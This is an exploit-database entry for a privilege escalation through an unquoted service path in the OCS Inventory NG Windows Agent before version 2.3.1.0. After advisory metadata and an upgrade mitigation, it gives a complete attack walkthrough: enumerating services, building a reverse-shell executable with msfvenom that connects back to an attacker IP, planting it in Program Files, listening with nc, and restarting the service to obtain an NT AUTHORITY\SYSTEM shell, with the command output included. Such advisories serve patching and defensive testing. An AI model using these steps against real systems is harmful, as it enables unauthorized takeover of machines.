OCS Inventory NG 2.3.0.0 - Unquoted Service Path

vendor:

OCS Inventory NG Windows Agent

by:

msd0pe

7.4

CVSS

HIGH

Privilege Escalation

269

CWE

Product Name: OCS Inventory NG Windows Agent

Affected Version From: 2.3.0.0

Affected Version To: 2.3.1.0

Patch Exists: YES

Related CWE:

CPE: a:ocs_inventory-ng:ocs_inventory_ng_windows_agent

Metasploit:

Other Scripts:

Platforms Tested: Windows

2023

OCS Inventory NG 2.3.0.0 – Unquoted Service Path

OCS Inventory NG Windows Agent versions below 2.3.1.0 contains an unquoted service path which allows attackers to escalate privileges to the system level. An attacker can find the unquoted service path using the wmic command, get informations about the service using the sc qc command, generate a reverse shell using the msfvenom command, upload the reverse shell to the vulnerable system, start a listener, and reboot the service/server to gain system level privileges.

Mitigation:

Upgrade to OCS Inventory NG Windows Agent version 2.3.1.0 or later.

Source

Exploit-DB raw data:

#####################################################################
#                                                                   #
#  Exploit Title: OCS Inventory NG 2.3.0.0 - Unquoted Service Path  #
#  Date: 2023/04/21                                                 #
#  Exploit Author: msd0pe                                           #
#  Vendor Homepage: https://oscinventory-ng.org                     #
#  Software Link: https://github.com/OCSInventory-NG/WindowsAgent   #
#  My Github: https://github.com/msd0pe-1                           #
#  Fixed in version 2.3.1.0                                         #
#                                                                   #
#####################################################################

OCS Inventory NG Windows Agent: 
Versions below 2.3.1.0 contains an unquoted service path which allows attackers to escalate privileges to the system level.

[1] Find the unquoted service path:
    > wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

    OCS Inventory Service   OCS Inventory Service   C:\Program Files (x86)\OCS Inventory Agent\OcsService.exe   Auto

[2] Get informations about the service:
    > sc qc "OCS Inventory Service"

    [SC] QueryServiceConfig SUCCESS

    SERVICE_NAME: OCS Inventory Service
            TYPE               : 110  WIN32_OWN_PROCESS (interactive)
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:\Program Files (x86)\OCS Inventory Agent\OcsService.exe
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : OCS Inventory Service
            DEPENDENCIES       : RpcSs
                               : EventLog
                               : Winmgmt
                               : Tcpip
            SERVICE_START_NAME : LocalSystem

[3] Generate a reverse shell:
    > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o OCS.exe

[4] Upload the revese shell to C:\Program Files (x86)\OCS.exe
    > put OCS.exe
    > ls
    drw-rw-rw-          0  Sat Apr 22 05:20:38 2023 .
    drw-rw-rw-          0  Sat Apr 22 05:20:38 2023 ..
    drw-rw-rw-          0  Sun Jul 24 08:18:13 2022 Common Files
    -rw-rw-rw-        174  Sun Jul 24 08:12:38 2022 desktop.ini
    drw-rw-rw-          0  Thu Jul 28 13:00:04 2022 Internet Explorer
    drw-rw-rw-          0  Sun Jul 24 07:27:06 2022 Microsoft
    drw-rw-rw-          0  Sun Jul 24 08:18:13 2022 Microsoft.NET
    drw-rw-rw-          0  Sat Apr 22 04:51:20 2023 OCS Inventory Agent
    -rw-rw-rw-       7168  Sat Apr 22 05:20:38 2023 OCS.exe
    drw-rw-rw-          0  Sat Apr 22 03:24:58 2023 Windows Defender
    drw-rw-rw-          0  Thu Jul 28 13:00:04 2022 Windows Mail
    drw-rw-rw-          0  Thu Jul 28 13:00:04 2022 Windows Media Player
    drw-rw-rw-          0  Sun Jul 24 08:18:13 2022 Windows Multimedia Platform
    drw-rw-rw-          0  Sun Jul 24 08:18:13 2022 Windows NT
    drw-rw-rw-          0  Fri Oct 28 05:25:41 2022 Windows Photo Viewer
    drw-rw-rw-          0  Sun Jul 24 08:18:13 2022 Windows Portable Devices
    drw-rw-rw-          0  Sun Jul 24 08:18:13 2022 Windows Sidebar
    drw-rw-rw-          0  Sun Jul 24 08:18:13 2022 WindowsPowerShell

[5] Start listener
    > nc -lvp 4444

[6] Reboot the service/server
    > sc stop "OCS Inventory Service"
    > sc start "OCS Inventory Service"

    OR

    > shutdown /r

[7] Enjoy !
    192.168.1.102: inverse host lookup failed: Unknown host
    connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309
    Microsoft Windows [Version 10.0.19045.2130]
    (c) Microsoft Corporation. All rights reserved.

    C:\Windows\system32>whoami

    nt authority\system